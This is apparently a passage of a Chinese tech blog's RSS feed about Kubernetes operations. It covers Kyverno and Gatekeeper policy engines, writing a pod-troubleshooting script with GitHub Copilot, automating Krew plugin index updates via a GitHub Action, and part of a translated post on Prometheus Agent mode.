&lt;li&gt;策略和规则的数量&lt;/li&gt;
&lt;li&gt;策略和规则的执行结果&lt;/li&gt;
&lt;li&gt;策略执行的延迟&lt;/li&gt;
&lt;li&gt;请求数量&lt;/li&gt;
&lt;li&gt;策略变更数量&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外 Kyverno 还提供了两个用于生成报告的 CRD：&lt;code&gt;PolicyReport&lt;/code&gt; 和 &lt;code&gt;ClusterPolicyReport&lt;/code&gt;，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get polr -A
NAMESPACE     NAME                  PASS   FAIL   WARN   ERROR   SKIP   AGE
default       polr-ns-default       338    2      0      0       0      28h
flux-system   polr-ns-flux-system   135    5      0      0       0      28h
$ kubectl describe polr polr-ns-default | grep &amp;quot;Result: \+fail&amp;quot; -B10
  Message:        validation error: Running as root is not allowed. The fields spec.securityContext.runAsNonRoot, spec.containers[*].securityContext.runAsNonRoot, and spec.initContainers[*].securityContext.runAsNonRoot must be `true`. Rule check-containers[0] failed at path /spec/securityContext/runAsNonRoot/. Rule check-containers[1] failed at path /spec/containers/0/securityContext/.
  Policy:         require-run-as-non-root
  Resources:
    API Version:  v1
    Kind:         Pod
    Name:         add-capabilities-init-containers
    Namespace:    default
    UID:          1caec743-faed-4d5a-90f7-5f4630febd58
  Rule:           check-containers
  Scored:         true
  Result:         fail
--
  Message:        validation error: Running as root is...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Gatekeeper 提供的指标包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Constraint：Constraints 的数量&lt;/li&gt;
&lt;li&gt;Constraint Template：包括这一类对象的数量、处理延迟&lt;/li&gt;
&lt;li&gt;Webhook：请求数量、响应时间、Mutation 请求数量、Mutation 响应时间&lt;/li&gt;
&lt;li&gt;Audit：触发次数、审计延迟、审计运行时间戳&lt;/li&gt;
&lt;li&gt;同步：缓存对象数量、同步延迟、最后同步时间戳&lt;/li&gt;
&lt;li&gt;Watch：Watch 的对象种类数量&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kyverno 策略中提供了 &lt;code&gt;validationFailureAction&lt;/code&gt; 字段，用于定义策略失败后的动作，可选动作包括 audit 和 enforce。&lt;/p&gt;

&lt;p&gt;Gatekeeper 策略中包含 DryRun、Warn 和 Deny 三种应对措施。&lt;/p&gt;

&lt;h2 id=&#34;独特功能&#34;&gt;独特功能&lt;/h2&gt;

&lt;p&gt;Kyverno 在功能方面有两个有趣的东西：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;创建对象：可以根据策略，在特定条件下触发对象的创建，例如随 Service 创建 Ingress 之类；&lt;/li&gt;
&lt;li&gt;校验镜像签名：可以使用 cosign 对镜像签名进行校验，保障供应链安全。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;太长不看&#34;&gt;太长不看&lt;/h2&gt;

&lt;p&gt;OPA 是 CNCF 的老牌项目，Kyverno 属于后起之秀，在策略编写方面，Kyverno 的表达方式更合乎 YAML 工程师们的做事风格；而 Rego 语言虽然语法还是很奇怪，然而一旦习惯了这种设定，强大的实现能力还是要优于 YAML 语法糖的。&lt;/p&gt;

&lt;p&gt;Mutation 方面，Gatekeeper 支持的比较晚，也非常生硬。Kyverno 的高可用和监控能力则是比较晚才出现。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>酒话：Copilot 和运维代码</title>
      <link>/post/copilot-and-sre/</link>
      <pubDate>Sun, 12 Dec 2021 16:37:27 +0800</pubDate>
      <guid>/post/copilot-and-sre/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;这个话题是前些天和一位同学在饭桌上喝着啤酒闲聊产生的内容，叙事极其杂乱，错过本文不会有任何损失。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;

&lt;p&gt;前些天跟同事讲，Learnk8s 的 &lt;a href=&#34;https://learnk8s.io/troubleshooting-deployments&#34; target=&#34;_blank&#34;&gt;A visual guide on troubleshooting Kubernetes deployments&lt;/a&gt; 是个很明显可以转换成工具运用到实际运维工作当中的东西，一套组合拳下来，基本问题搞清楚，是个挺方便的事儿，要不我周末把它搓出来给你看看。听者无意说者有心，我试了试，还真是个挺无聊的事情，设计各种场景，根据条件，捕获各种 K8s 输出，最终汇总成报表。不小心发散了一下，前一阵得到试用资格的 &lt;a href=&#34;https://copilot.github.com/&#34; target=&#34;_blank&#34;&gt;Github copilot&lt;/a&gt; 好像就很适合这种工作，周末趁娃补觉，用 Copilot + PyCharm 就真的实现了个差不多。&lt;/p&gt;

&lt;h2 id=&#34;copilot&#34;&gt;Copilot&lt;/h2&gt;

&lt;p&gt;首先介绍下 Copilot，这东西是使用 AI 技术凭借 Github 上的海量代码，用编辑器/ide 插件的形式提供辅助编程能力的一个产品，和 &lt;a href=&#34;https://www.tabnine.com/&#34; target=&#34;_blank&#34;&gt;Tab Nine&lt;/a&gt; 这样的“传统”插件最大区别是，可以用“面向注释开发”的方式来使用 Copilot，例如输入 &lt;code&gt;# Import Kubernetes&lt;/code&gt; 的注释，他就会推荐出
 &lt;code&gt;from kubernetes import client, config&lt;/code&gt; 这样的语句，按 &lt;code&gt;Tab&lt;/code&gt; 接受之后，因为还没有在 &lt;code&gt;venv&lt;/code&gt; 中安装相应的库，PyCharm 会做出提示，安装包即可。&lt;/p&gt;

&lt;p&gt;整段脚本大概一百行，其中有一半是注释除了前面简单的 Import 之外，比较复杂的遍历、判断，还有使用 API 时候最头秃的对象结构的拆解，都是 Copilot 完成的，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;# Import kubernetes
from kubernetes import client, config
# Connect to kubernetes
config.load_kube_config()
# List all pods
v1 = client.CoreV1Api()
print(&amp;quot;Listing pods with their IPs:&amp;quot;)
ret = v1.list_pod_for_all_namespaces(watch=False)
for i in ret.items:
    print(&amp;quot;%s\t%s\t%s&amp;quot; % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这其中只有三行注释是手工输入的，对列表的遍历和 &lt;code&gt;print&lt;/code&gt; 语句都是自动生成的，非常类似我们在试探阶段编写代码的方法。Copilot 的自动推荐方面还会根据本地代码有所变更，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;# define a list to store event messages
pending_event_list = []
...
# save namespace, pod name and message in to an object
pending_event_list.append({&#39;namespace&#39;: event.involved_object.namespace, &#39;pod&#39;: event.involved_object.name,
        &#39;message&#39;: event.message})
...
# if length of event_list is greater than 0, then print items into a table
if len(pending_event_list) &amp;gt; 0:
    print(&#39;Pending Pods:\n&#39;)
    print(&#39;{:&amp;lt;20}{:&amp;lt;30}{:&amp;lt;20}&#39;.format(&#39;Namespace&#39;, &#39;Pod&#39;, &#39;Message&#39;))
    print(&#39;{:&amp;lt;20}{:&amp;lt;30}{:&amp;lt;20}&#39;.format(&#39;---------&#39;, &#39;----&#39;, &#39;-------&#39;))
    for item in pending_event_list:
        print(&#39;{:&amp;lt;20}{:&amp;lt;30}{:&amp;lt;20}&#39;.format(item[&#39;namespace&#39;], item[&#39;pod&#39;], item[&#39;message&#39;]))
    print(&#39;\n&#39;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在定义了这个列表之后，仅凭一行注释，她就机智地把这三个字段形成的对象直接塞进了前面定义的列表之中（中间的 &lt;code&gt;Pending Pods:\n&lt;/code&gt; 是我的手工输入），后面更是直接输出了表头和间隔线。更有意思的是，Pod 名称一栏的宽度原本是设置为 20 的，我手工改成了 30，后续输出第二个表格时，他就自动将 Pod 字段的宽度修改成了 30。&lt;/p&gt;

&lt;p&gt;情况当然不总是一帆风顺的，例如我在输入 &lt;code&gt;# get all events for pod&lt;/code&gt; 时，它就推荐了一行错误代码，调用了不存在的成员函数，使用 PyCharm 的自动完成纠正一下也就可以了；在判断容器重启次数时，他也会直接给出 &lt;code&gt;pod.status.container_statuses[0].restart_count &amp;gt; 5&lt;/code&gt; 这样的粗暴判断。&lt;/p&gt;

&lt;p&gt;总之两个小时下来，我主要的工作就在于几个点：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;设计故障场景&lt;/li&gt;
&lt;li&gt;琢磨英文注释&lt;/li&gt;
&lt;li&gt;纠正错误代码&lt;/li&gt;
&lt;li&gt;运行、调试、更正再运行&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;用我弱弱的英文输出能力，不停&lt;strong&gt;调试注释&lt;/strong&gt;，让 Copilot 输出合适的代码，并进行微调，最终完成功能。&lt;/p&gt;

&lt;h2 id=&#34;运维怎么开始写代码&#34;&gt;运维怎么开始写代码&lt;/h2&gt;

&lt;p&gt;那这么个破事怎么就联系到运维代码上了呢？其实像这种无聊尝试意义是不大的，但是运维代码的开发特点非常适合使用这个东西进行&lt;strong&gt;辅助&lt;/strong&gt;：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;需求描述非常技术化，容易转换为 Copilot 的注释输入&lt;/li&gt;
&lt;li&gt;具体相关内容在网络上会有非常多的代码碎片，适合被 Copilot 抓取提炼和使用&lt;/li&gt;
&lt;li&gt;甚至连注释都会有很多自动完成的机会&lt;/li&gt;
&lt;li&gt;场景相对固定，代码量一般不大，方便进行调试&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;很多运维同学都在面临类似的焦虑——觉得自己手上的工作价值不大，编程基础不太好，又希望能像《Google SRE 解密》中提到的，从手工、脚本、软件直到 Borg 的过程中飞速进化。但是机会不总是存在的，将日常经验有效地变成代码从而得以积累和传播，对组织和个人都是非常具备实际意义的。在个人长期的运维相关工作过程中的经验来看，不管是哪个阶段，不管这个工作应该算是运维、DevOps、SRE 还是别的什么，现场工作一方面是工具的工作场景，另一方面也是工具的需求源头，同时也是工具实现方法的重要参考。&lt;/p&gt;

&lt;p&gt;那么如何在现场开始写代码呢？我总结了一个 &lt;strong&gt;3X2 原则&lt;/strong&gt;：如果在你的手工操作中，遇到如下场景：连续三个命令的序列，重复执行了第二次，那么就建议你将它写成一个 Shell 脚本——通常来说，会执行第二次，就会有第三次第四次，随着不断地使用，身兼作者和用户，会有各种非常具体的需求会加入到这个简陋的脚本之中，诱导你在其中逐步加入原本不太熟悉的判断、循环、管道、启动参数等的处理能力——毕竟每次只加一点点，例如我自己的经验：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;起初是为了节约公有云测试开支，根据 gcloud 命令行文档，写了在 GKE 上一次性创建和删除 Kubernetes 集群的两个脚本&lt;/li&gt;
&lt;li&gt;后来发现，删除集群时，相应的挂载卷也需要进行遍历删除&lt;/li&gt;
&lt;li&gt;为了测试一些兼容性问题，需要创建集群时选择不同的 Kubernetes 版本&lt;/li&gt;
&lt;li&gt;我拿到了一个每月 300 美金的 Azure 测试账号，我需要将脚本改造成可以选择 Azure 还是 Google Cloud 的版本&lt;/li&gt;
&lt;li&gt;..&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一组脚本已经伴随我走了四五年，经过多年的“随手”改造的积累，已经成为几百行的小怪兽，能够在 GCP、AWS、Azure 创建各种不同规格、不同版本的 Kubernetes 集群，完成工作后能不留后患（账单）的进行彻底清理，帮助我完成了很多的测试，输出了很多的云原生相关的记录内容。&lt;/p&gt;

&lt;p&gt;在团队中应该把小工具们组织起来，这里非常要提醒大家的一点就是，&lt;strong&gt;在文档中保存的代码段，相当于让代码脱离了生存环境，是很容易死掉的&lt;/strong&gt;，所以具有相同或相似工作内容的组织内，用版本管理的方式将这些小工具们进行归拢。同行之间互相 Review，取长补短、协同进步会让代码段逐步变得成熟和广普。一致的工具集，紧贴现场需求，有助于形成“一个萝卜一个坑”的一致的问题应对方式，代码本身就成为团队的知识积累和沉淀，新兵加入后，可能就不那么需要从 Linux/Docker/Kubernetes 开始了——对于初出茅庐的新手来说，哪怕是一键提取日志，也是快速进入战场的有效途径。&lt;/p&gt;

&lt;p&gt;小工具们成长壮大之后，就进入了抽象和复用的阶段了，这一方面，Kubernetes 生态中充满了绝佳范例：重度依赖调度能力、避免直接和节点/服务器之类的具体环境发生联系、专心解决自己的问题、对外提供稳定的声明式接口（声明式接口同时还意味着可重入、最终一致性等等）。例如我屡屡提到&lt;code&gt;超过 300 行算我输&lt;/code&gt;的 Shell Operator，用极其简陋的方式，为运维人提供了用少量代码完成 Validating/Mutating Webhook、Prometheus Server、任务队列等复杂任务的能力。&lt;/p&gt;

&lt;p&gt;抽象和复用程度代表了一个小工具在时间和场景上的适应能力，也代表了其需求和功能的稳定性，此时就完全可以考虑将其纳入具体的产品，甚至其自身就具备成为产品的潜在能力了——例如我偶尔一写的“介绍一个小工具”。&lt;/p&gt;

&lt;p&gt;最后，运维人们，Happy Coding..&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Release 自动更新 Krew Index</title>
      <link>/post/auto-refresh-krew-index/</link>
      <pubDate>Fri, 26 Nov 2021 16:36:44 +0800</pubDate>
      <guid>/post/auto-refresh-krew-index/</guid>
      <description>&lt;p&gt;前面介绍过&lt;a href=&#34;https://blog.fleeto.us/post/how-to-krew/&#34; target=&#34;_blank&#34;&gt;创建 Krew 插件的方法&lt;/a&gt;，其中生成插件描述文件的部分，可以说是又直接又麻烦，而且每次发布的时候，都要重新生成并刷新 Krew Index，于是我写了个&lt;a href=&#34;https://gist.github.com/fleeto/11eb8792b3b96e7f7b85846e95c5f4e3&#34; target=&#34;_blank&#34;&gt;脚本&lt;/a&gt;，可以根据既有信息和已经发布的二进制文件生成 YAML 文件。这个脚本的功能，简单说就是写一个 YAML 模板，然后下载二进制文件，计算哈希，生成最终的插件描述文件，把描述文件覆盖旧版本，然后发布 PR 即可。有了脚本之后其实还是挺麻烦的，不过在浏览 Krew 文档时发现有一节 &lt;a href=&#34;https://krew.sigs.k8s.io/docs/developer-guide/release/automating-updates/&#34; target=&#34;_blank&#34;&gt;Automating plugin updates&lt;/a&gt; ，其中提到了可以使用 &lt;a href=&#34;https://github.com/rajatjindal/krew-release-bot&#34; target=&#34;_blank&#34;&gt;Krew Release Bot&lt;/a&gt; 来自动地完成这个过程，官方强烈推荐使用这个 Bot 进行更新，理由是该 Bot 生成清单文件后自动提交的 PR，如果其中包含的变更内容只是简单的版本升级，能够被 &lt;a href=&#34;https://github.com/kubernetes-sigs/krew-index&#34; target=&#34;_blank&#34;&gt;Krew Index&lt;/a&gt; 的 Bot 自动处理，免除人工环节之后，整个更新过程可以在几分钟之内完成，避免了新版本二进制无法及时更新的尴尬。下面就介绍一下这个 Bot 的用法。&lt;/p&gt;

&lt;p&gt;这个 Bot 是一个 &lt;a href=&#34;https://github.com/features/actions&#34; target=&#34;_blank&#34;&gt;Github Action&lt;/a&gt; 的插件，其工作原理和之前的脚本类似，在前文&lt;a href=&#34;https://blog.fleeto.us/post/auto-build-with-github-action/&#34; target=&#34;_blank&#34;&gt;用 Github Action 自动发布二进制包&lt;/a&gt;中，在 &lt;a href=&#34;https://github.com/karmada-io/karmada&#34; target=&#34;_blank&#34;&gt;Karmada 项目&lt;/a&gt; 里使用 Github Action 进行了二进制文件的构建和发布，接下来继续使用这个基础，根据新发布的二进制来更新 Krew Index。&lt;/p&gt;

&lt;p&gt;要在项目里使用 Krew Release Bot，首先要求项目插件已经成功发布到 Krew Index 中；接下来，需要生成一个文件 &lt;code&gt;.krew.yaml&lt;/code&gt;，作为 Bot 的模板，这个模板和 Krew Index 的 YAML 是基本一致的，不过其中的二进制 URL 和 Hash 部分被替换为模板的占位符，例如 &lt;code&gt;{{addURIAndSha &amp;quot;https://github.com/karmada-io/karmada/releases/download/{{ .TagName }}/kubectl-karmada-darwin-arm64.tgz&amp;quot; .TagName }}&lt;/code&gt;，甚至连这一步简单操作，Bot 作者也帮你解决了——他做了一个 &lt;a href=&#34;https://rajatjindal.com/tools/krew-release-bot-helper/&#34; target=&#34;_blank&#34;&gt;Krew Release Bot Helper&lt;/a&gt;，在输入框输入已发布的 Karmada 插件名称，就可以自动生成 YAML 模板，放到项目里就可以了。&lt;/p&gt;

&lt;p&gt;接下来，在 Release Action 里面加入如下语句：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- name: Update new version in krew-index
  uses: rajatjindal/krew-release-bot@v0.0.40
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交代码之后，创建一个新的 Release，会发现 Action 失败了，错误信息大概如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/error.png&#34; alt=&#34;error&#34; /&gt;&lt;/p&gt;

&lt;p&gt;原因在于前面使用的 &lt;code&gt;Matrix&lt;/code&gt;，我们的 PR 应该在生成并上传所有的二进制文件之后才能发起，所以改成这样：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  update-krew-index:
    needs: release-assests
    name: Update krew-index
    runs-on: ubuntu-18.04
    steps:
    - uses: actions/checkout@master
    - name: Update new version in krew-index
      uses: rajatjindal/krew-release-bot@v0.0.40
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里用了一个新的 &lt;code&gt;job&lt;/code&gt;，使用 &lt;a href=&#34;https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;needs&lt;/code&gt;&lt;/a&gt; 关键字明确指出，需要等待 &lt;code&gt;release-assests&lt;/code&gt; 任务完成。&lt;/p&gt;

&lt;p&gt;再次提交，并创建 Tag，创建 Release。Action 运行示意图如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/follow.png&#34; alt=&#34;follow&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里生成的 URL 所指向的二进制文件是无法访问的，因此还是无法成功，但如果是官方自行发布的话，就可以了，而且如上文所说，这样生成的 PR 会在几分钟之内得到 Approve。&lt;/p&gt;

&lt;p&gt;读到这里会产生一个问题，会不会有人冒充发表呢？应该是不会的：Krew index 项目的 PR 机器人会对新 PR 的差异进行判定，如果不是典型的版本更新，会转入人工通道，因此新发的 PR 必须是和上一个版本具备这样的差异关系，而且必须是基于官方的二进制发布，才能够得到自动审批，因此完全可以放心使用。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Promethues 的 Agent 模式：高效转发云原生指标</title>
      <link>/post/prometheus-agent-beta-blog/</link>
      <pubDate>Mon, 22 Nov 2021 20:16:53 +0800</pubDate>
      <guid>/post/prometheus-agent-beta-blog/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://prometheus.io/blog/2021/11/16/agent/&#34; target=&#34;_blank&#34;&gt;Introducing Prometheus Agent Mode, an Efficient and Cloud-Native Way for Metric Forwarding&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/bwplotka&#34; target=&#34;_blank&#34;&gt;Bartlomiej Plotka&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Bartek Plotka 是红帽的首席软件工程师，从 2019 年开始担任 Prometheus 项目的维护者，也是 CNCF Thanos 项目的共同作者之一，同时还担任 CNCF 大使以及 CNCF 可观察性 TAG 的技术领导者。他在业余和 O&amp;rsquo;Reilly 出版了《Efficient Go》一书。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Promethues 对于目标的极度专注是我喜欢并加入这个项目的原因。Prometheus 用务实、可靠、经济的方式，推出了无价的指标监控系统。Prometheus 提供了极其稳定和健壮的 API、查询语言和用于进行集成的协议（例如远端写入和 &lt;a href=&#34;https://openmetrics.io/&#34; target=&#34;_blank&#34;&gt;OpenMetrics&lt;/a&gt;），这一稳固的基础，让云原生的监控生态欣欣向荣：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;社区提供了包罗万象的 Exporter，例如&lt;a href=&#34;https://github.com/google/cadvisor&#34; target=&#34;_blank&#34;&gt;容器&lt;/a&gt;、&lt;a href=&#34;https://github.com/cloudflare/ebpf_exporter&#34; target=&#34;_blank&#34;&gt;eBPF&lt;/a&gt;、&lt;a href=&#34;https://github.com/sladkoff/minecraft-prometheus-exporter&#34; target=&#34;_blank&#34;&gt;我的世界&lt;/a&gt;甚至还有针对&lt;a href=&#34;https://megamorf.gitlab.io/2019/07/14/monitoring-plant-health-with-prometheus/&#34; target=&#34;_blank&#34;&gt;园艺的健康监测&lt;/a&gt;；&lt;/li&gt;
&lt;li&gt;现在多数 CNCF 项目都会提供基于 HTTP/HTTPS 的 &lt;code&gt;/metrics&lt;/code&gt; 端点，让 Prometheus 可以读取指标数据。这原本是 Google 内部秘而不宣的一个概念，Prometheus 项目将其公诸于世；&lt;/li&gt;
&lt;li&gt;可观察性的范式发生了变化。从一开始 SRE 和开发者就非常依赖指标数据，对软件的韧性、排障能力以及数据驱动的决策过程产生了很好的推动作用&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;最后，我们极少会看到没有运行 Prometheus 的 Kubernetes。&lt;/p&gt;

&lt;p&gt;备受瞩目的 Prometheus 社区让其它项目也同步成长，让 Prometheus 脱离了单节点部署的局限性（例如 &lt;a href=&#34;https://cortexmetrics.io/&#34; target=&#34;_blank&#34;&gt;Context&lt;/a&gt;、&lt;a href=&#34;https://thanos.io/&#34; target=&#34;_blank&#34;&gt;Thanos&lt;/a&gt; 等等），更有采用 Promethues API 和数据模型的云供应商（例如&lt;a href=&#34;https://aws.amazon.com/prometheus/&#34; target=&#34;_blank&#34;&gt;亚马逊&lt;/a&gt;和&lt;a href=&#34;https://cloud.google.com/stackdriver/docs/managed-prometheus&#34; target=&#34;_blank&#34;&gt;谷歌&lt;/a&gt;的托管 Promethues、&lt;a href=&#34;https://grafana.com/products/cloud/&#34; target=&#34;_blank&#34;&gt;Grafana 云&lt;/a&gt;等）。如果 Prometheus 只有一个原因，那么这个原因只能是——把监控社区的焦点聚集在重要的事情上面。&lt;/p&gt;

&lt;p&gt;本文中将会介绍 Prometheus 的新特性：“Agent”。这一特性内置于 Prometheus 之中。Agent 模式禁用了 Prometheus 的一些特性，优化了指标抓取和远程写入的能力。这一特性使得一种新的应用模式成为可能。本文中我会陈述该功能让 CNCF 生态中游戏规则发生的变化——是的他让我非常兴奋。&lt;/p&gt;

&lt;h2 id=&#34;转发模式的历史&#34;&gt;转发模式的历史&lt;/h2&gt;

&lt;p&gt;Prometheus 的核心设计从未变更。这是一个向 &lt;a href=&#34;https://sre.google/sre-book/practical-alerting/#the-rise-of-borgmon&#34; target=&#34;_blank&#34;&gt;Google Borgmon 监控系统&lt;/a&gt; 致敬的产品，要监控一个应用，就随应用部署一个 Prometheus 服务，告知 Promethues 如何联系到这个服务，允许 Prometheus 定期抓取当前的指标数据。这种工作方式通常被称为拉取模型，&lt;a href=&#34;https://prometheus.io/blog/2016/07/23/pull-does-not-scale-or-does-it/&#34; target=&#34;_blank&#34;&gt;这种模型保障 Promethues 的轻量和韧性&lt;/a&gt;。另外它还极大简化了应用监控和 Exporter——只需要提供一个简单易读的 HTTP 端点，在其中提供 OpenMetrics 格式的当前指标值即可。这其中没有用到复杂的推送机制，也没有客户端库。一个简单的 Prometheus 监控部署如下图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/prom.png&#34; alt=&#34;simple&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这种方式工作良好，过去几年中我们看到了上百万的部署案例，其中或长或短的留存了大量的监控数据。其中的指标数据可以进行查询、告警，并记录管理员和开发者都关注的数据指标。&lt;/p&gt;

&lt;p&gt;然而云原生世界一直在发展和进化。随着托管 Kubernetes 方案的成长，几秒钟就能随需创建 Kubernetes 集群，我们已经能够把集群当做牲畜而非宠物（换句话说，我们不再关注特定的实例）。在 &lt;a href=&#34;https://github.com/kcp-dev/kcp&#34; target=&#34;_blank&#34;&gt;kcp&lt;/a&gt; 和 &lt;a href=&#34;https://aws.amazon.com/fargate/&#34; target=&#34;_blank&#34;&gt;Fargate&lt;/a&gt; 中这样的产品中甚至没有了集群的概念。&lt;/p&gt;

&lt;p&gt;另一个有意思的概念就是经常被用在电信、汽车和 IoT 领域的边缘集群和网络。我们会看到越来越多资源有限的小集群。规模限制导致他们无法在本地进行保存，包含监控数据在内的大量数据都需要被传送到远端的更大的节点上。&lt;/p&gt;

&lt;p&gt;这意味着必须对必须对监控数据进行聚合，向用户进行呈现，甚至需要有全局级别的存储。这通常被称为全局视角。&lt;/p&gt;

&lt;p&gt;要实现全局视角，最直接的办法就是在全局层次部署 Prometheus，通过远程网络抓去指标，或者从远端应用直接写入监控数据。我认为两种办法都烂透了，原因如下：&lt;/p&gt;

&lt;p&gt;跨越网络边界的抓取行为会在监控管线中引入不确定因素。本地的拉取模型让 Prometheus 能够清晰获知待抓取目标的问题，例如宕机或者配置错误、重启、抓取缓慢（CPU 耗尽）、无法进行服务发现、缺乏访问凭据、DNS 故障，网络甚至整个集群失灵。外置抓取端引发的不稳定性可能让我们丢失信息。如果网络中断，可能会丧失可见性，相信我，不要这样做。&lt;/p&gt;

&lt;p&gt;应用从远端直接向中心推送数据也不是什么好办法——尤其是在监控目标数量巨大时。得到指标之前，无法得到任何远端应用的信息，这个应用活着吗？是我的管线故障了吗？也许应用认证失败了？和前面的办法一样，跨网络的传输总面临着更大的风险。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Serverless 应用以及类似的短寿命容器经常会让我们将远端推送方式当做救命稻草。这种情况下我们希望把细碎的事件和指标能够聚合到一个较长存活期的时间序列里。我们对这一主题也进行了&lt;a href=&#34;https://groups.google.com/g/prometheus-developers/c/FPe0LsTfo2E/m/yS7up2YzAwAJ&#34; target=&#34;_blank&#34;&gt;讨论&lt;/a&gt;，欢迎加入，一起完善这个方案。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Prometheus 用三种方式来支持全局视图，每种都有不同的优缺点。注意下图橘色部分：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/prom-remote.png&#34; alt=&#34;prom-remote&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;联邦&lt;/strong&gt;：这是第一种用于聚合目的的方案。这种方案里，全局级的 Prometheus 服务器或从基层 Prometheus 中抓取指标的子集。这种级联方式里，联邦节点暴露的指标中包含了原始采样的时间戳，因此降低了跨网络抓取的风险，但是如果网络间的时延达到分钟级，可能就无法在不损失数据的情况下完成数据联合了。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Prometheus 远程读取&lt;/strong&gt;：从远端 Prometheus 服务器的数据库中绕过 PromQL，直接提取原始数据。可以在全局一级部署 Prometheus 或者 Thanos 方案，用抓取自多个站点的远程数据来执行 PromQL 查询。这种方式很强大——数据存储在“本地”，还可以按需访问。不幸的是，这种方式也有缺点，如果没有 &lt;a href=&#34;https://github.com/thanos-io/thanos/issues/305&#34; target=&#34;_blank&#34;&gt;Query Pushdown&lt;/a&gt;，一个简单的查询可能就要拉取上 GB 的压缩数据。类似地，如果网络失联，服务就不可用了，另外有些集群只允许 Egress，禁止 Ingress&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;最后一种就是&lt;strong&gt;远程写入&lt;/strong&gt;：这似乎是目前最流行的选择。Agent 模式也是聚焦于远程写入的，因此我们要详细描述一下这个模式&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;远程写入&#34;&gt;远程写入&lt;/h3&gt;

&lt;p&gt;Prometheus 远程写入协议让用户可以把部分或者全部指标数据写入到远端，可以对 Prometheus 进行配置，将一些指标（其中甚至可以代入所有的元数据和范例）转发给一个或多个远端的写入 API。实际上 Prometheus 是同时支持远端接收和写入的，所以可以部署全局级的 Prometheus 来接收跨集群的聚合数据。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://docs.google.com/document/d/1LPhVRSFkGNSuU1fBd81ulhsCPR4hkSZyyBj1SZ8fWOM/edit&#34; target=&#34;_blank&#34;&gt;Prometheus 远程写入 API 规范还在评审阶段&lt;/a&gt;，但整个生态接受了远端写入协议作为缺省指标导出协议。例如 Cortext、Thanos、OpenTelemetry 以及 Amazon、Google、Grafana、Logz.io 等云厂商，都支持这一协议的写入。&lt;/p&gt;

&lt;p&gt;Prometheus 官方提供了官方的 API 兼容性测试，能通过&lt;a href=&#34;https://github.com/prometheus/compliance/tree/main/remote_write_sender&#34; target=&#34;_blank&#34;&gt;远程写入合规性&lt;/a&gt;测试的方案，就可以提供远程写入的客户端能力。对于自行实现的工具来说这个功能非常有帮助，能帮助自实现工具确认协议实现的正确性。&lt;/p&gt;

&lt;p&gt;抓取得到的流数据进行中心化存储之后，就有了全局视图的实现基础。这样也实现了关注点的分离。应用程序不受可观察性团队的管理的情况下，这种方式很有优势。这种方式让服务商们能够将这种工作从客户侧剥离开来，因此得以广泛采用。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;但是 Bartek 你刚刚说过，从应用推送指标不是个好主意！&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;没错，不过有意思的是，远程写入的情况下，Prometheus 还是使用拉取模式从应用端获得指标数据的，然后对取样和序列进行批处理，把数据进行导出，推送到远程写入端点，有效地降低了中心点在应用失联时面临的风险。&lt;/p&gt;

&lt;p&gt;远程写入的可靠性和效率，是一个亟待解决的难题。普罗米修斯社区花了大约三年的时间完成了稳定和可扩展的实现。WAL（写前日志）经过多次重构后，增加了内部队列、分片、智能备份等等。所有这些对用户来说都是隐藏的，用户可以在集中存储的场景下得到良好的流性能和数据量支持。&lt;/p&gt;

